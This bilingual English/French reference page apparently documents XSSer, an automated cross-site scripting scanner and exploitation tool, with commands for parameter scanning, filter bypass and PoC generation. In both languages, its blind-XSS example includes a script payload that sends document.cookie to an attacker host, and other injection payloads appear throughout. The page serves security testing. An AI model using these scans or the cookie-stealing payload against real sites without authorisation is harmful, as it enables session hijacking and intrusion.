← retour aux outils back to tools

# xsser

Scanner et framework d'exploitation XSS automatisé. Détecte et exploite les vulnérabilités de cross-site scripting à travers les points d'injection GET, POST et les en-têtes. Automated XSS vulnerability scanner and exploitation framework. Detects and exploits cross-site scripting vulnerabilities across GET, POST, and header injection points.

↗ https://github.com/epsylon/xsser

## Overview

XSSer is an automated framework for detecting and exploiting cross-site scripting (XSS) vulnerabilities. It tests GET/POST parameters and HTTP headers with hundreds of payloads, bypasses filters, and can generate proof-of-concept exploit code.

## Basic Usage

Scan a URL with GET parameter

    xsser --url "http://target.com/search?q=XSS"

Automatic mode (test all parameters)

    xsser --url "http://target.com/search?q=1&page=1" -A

POST parameter scanning

    xsser --url "http://target.com/login" --data "username=XSS&password=test"

With cookies (authenticated)

    xsser --url "http://target.com/profile?name=XSS" --cookie "session=abc123"

## Scan Modes

Auto-detect parameters to inject (uses heuristics)

    xsser --url "http://target.com/" -A

Test all parameters in URL

    xsser --url "http://target.com/page?p1=1&p2=2" --all-params

Test GET and POST

    xsser --url "http://target.com/search" -A --auto

Use Tor for anonymity

    xsser --url "http://target.com/search?q=XSS" --proxy "http://127.0.0.1:8118"

## Payload Options

Use all built-in payloads

    xsser --url "http://target.com/search?q=XSS" --all

DOM-based XSS detection

    xsser --url "http://target.com/search?q=XSS" --dom

Test for blind XSS (callback to your server)

    xsser --url "http://target.com/form" \
      --data "comment=XSS" \
      --Fp "<script>var i=new Image(); i.src='http://attacker.com/?c='+document.cookie</script>"

Header injection

    xsser --url "http://target.com/" --referer "XSS" --user-agent "XSS"

## Filter Bypass

Enable WAF bypass techniques

    xsser --url "http://target.com/search?q=XSS" --Cl

    xsser --url "http://target.com/search?q=XSS" --Hex  # hex encoding

    xsser --url "http://target.com/search?q=XSS" --Str  # string encoding

DOM obfuscation

    xsser --url "http://target.com/search?q=XSS" --Dom

Multiple evasions

    xsser --url "http://target.com/search?q=XSS" --Cl --Hex --Dom

## Output and Exploitation

Save results to file

    xsser --url "http://target.com/search?q=XSS" -s output.txt

Generate browser-ready PoC

    xsser --url "http://target.com/search?q=XSS" --Fp "alert(1)"

Use custom payload

    xsser --url "http://target.com/search?q=XSS" --payload '<img src=x onerror=alert(1)>'

Verbose output

    xsser --url "http://target.com/search?q=XSS" -v

## GTK GUI Mode

Launch with graphical interface

    xsser --gtk

## Tips

- Always try the simplest payloads first (`<script>alert(1)</script>`, `"><img src=x onerror=alert(1)>`)
- XSStrike and Dalfox are often more effective modern alternatives
- Use `--Dom` for single-page apps where DOM-based XSS is more likely
- Combine with Burp Suite for manual verification of automated findings

Help / Man page

    xsser [options]

    -u URL, --url URL   Target URL
    --data DATA         POST data
    --cookie COOKIE     Cookie header
    --all-params        Test all params
    -A                  Auto mode
    --dom               DOM-based XSS detection
    --Fp PAYLOAD        Custom final payload
    --payload CODE      Custom injection payload
    --Cl                Enable filter bypass
    --Hex               Hex encoding
    --Str               String encoding
    --Dom               DOM obfuscation
    --proxy PROXY       HTTP proxy
    -v                  Verbose
    -s FILE             Save output to file
    --gtk               Launch GTK GUI

## Vue d’ensemble

XSSer est un framework automatisé de détection et d’exploitation des vulnérabilités de cross-site scripting (XSS). Il teste les paramètres GET/POST et les en-têtes HTTP avec des centaines de payloads, contourne les filtres, et peut générer du code d’exploit proof-of-concept.

## Utilisation de base

    # Scanner une URL avec un paramètre GET
    xsser --url "http://target.com/search?q=XSS"

    # Mode automatique (tester tous les paramètres)
    xsser --url "http://target.com/search?q=1&page=1" -A

    # Scan de paramètre POST
    xsser --url "http://target.com/login" --data "username=XSS&password=test"

    # Avec des cookies (authentifié)
    xsser --url "http://target.com/profile?name=XSS" --cookie "session=abc123"

## Modes de scan

    # Auto-détection des paramètres à injecter (utilise des heuristiques)
    xsser --url "http://target.com/" -A

    # Tester tous les paramètres de l'URL
    xsser --url "http://target.com/page?p1=1&p2=2" --all-params

    # Tester GET et POST
    xsser --url "http://target.com/search" -A --auto

    # Utiliser Tor pour l'anonymat
    xsser --url "http://target.com/search?q=XSS" --proxy "http://127.0.0.1:8118"

## Options de payload

    # Utiliser tous les payloads intégrés
    xsser --url "http://target.com/search?q=XSS" --all

    # Détection XSS basée sur le DOM
    xsser --url "http://target.com/search?q=XSS" --dom

    # Tester le XSS aveugle (callback vers votre serveur)
    xsser --url "http://target.com/form" \
      --data "comment=XSS" \
      --Fp "<script>var i=new Image(); i.src='http://attacker.com/?c='+document.cookie</script>"

    # Injection d'en-tête
    xsser --url "http://target.com/" --referer "XSS" --user-agent "XSS"

## Contournement de filtres

    # Activer les techniques de contournement de WAF
    xsser --url "http://target.com/search?q=XSS" --Cl

    xsser --url "http://target.com/search?q=XSS" --Hex  # encodage hex

    xsser --url "http://target.com/search?q=XSS" --Str  # encodage de chaîne

    # Obfuscation DOM
    xsser --url "http://target.com/search?q=XSS" --Dom

    # Évasions multiples
    xsser --url "http://target.com/search?q=XSS" --Cl --Hex --Dom

## Sortie et exploitation

    # Sauvegarder les résultats dans un fichier
    xsser --url "http://target.com/search?q=XSS" -s output.txt

    # Générer un PoC prêt pour le navigateur
    xsser --url "http://target.com/search?q=XSS" --Fp "alert(1)"

    # Utiliser un payload personnalisé
    xsser --url "http://target.com/search?q=XSS" --payload '<img src=x onerror=alert(1)>'

    # Sortie verbeuse
    xsser --url "http://target.com/search?q=XSS" -v

## Mode GUI GTK

Lancer avec l’interface graphique

    xsser --gtk

## Conseils

- Toujours essayer d’abord les payloads les plus simples (`<script>alert(1)</script>`, `"><img src=x onerror=alert(1)>`)
- XSStrike et Dalfox sont souvent des alternatives modernes plus efficaces
- Utiliser `--Dom` pour les applications à page unique où le XSS basé sur le DOM est plus probable
- Combiner avec Burp Suite pour une vérification manuelle des découvertes automatisées

Aide / Page de manuel

    xsser [options]

    -u URL, --url URL   Target URL
    --data DATA         POST data
    --cookie COOKIE     Cookie header
    --all-params        Test all params
    -A                  Auto mode
    --dom               DOM-based XSS detection
    --Fp PAYLOAD        Custom final payload
    --payload CODE      Custom injection payload
    --Cl                Enable filter bypass
    --Hex               Hex encoding
    --Str               String encoding
    --Dom               DOM obfuscation
    --proxy PROXY       HTTP proxy
    -v                  Verbose
    -s FILE             Save output to file
    --gtk               Launch GTK GUI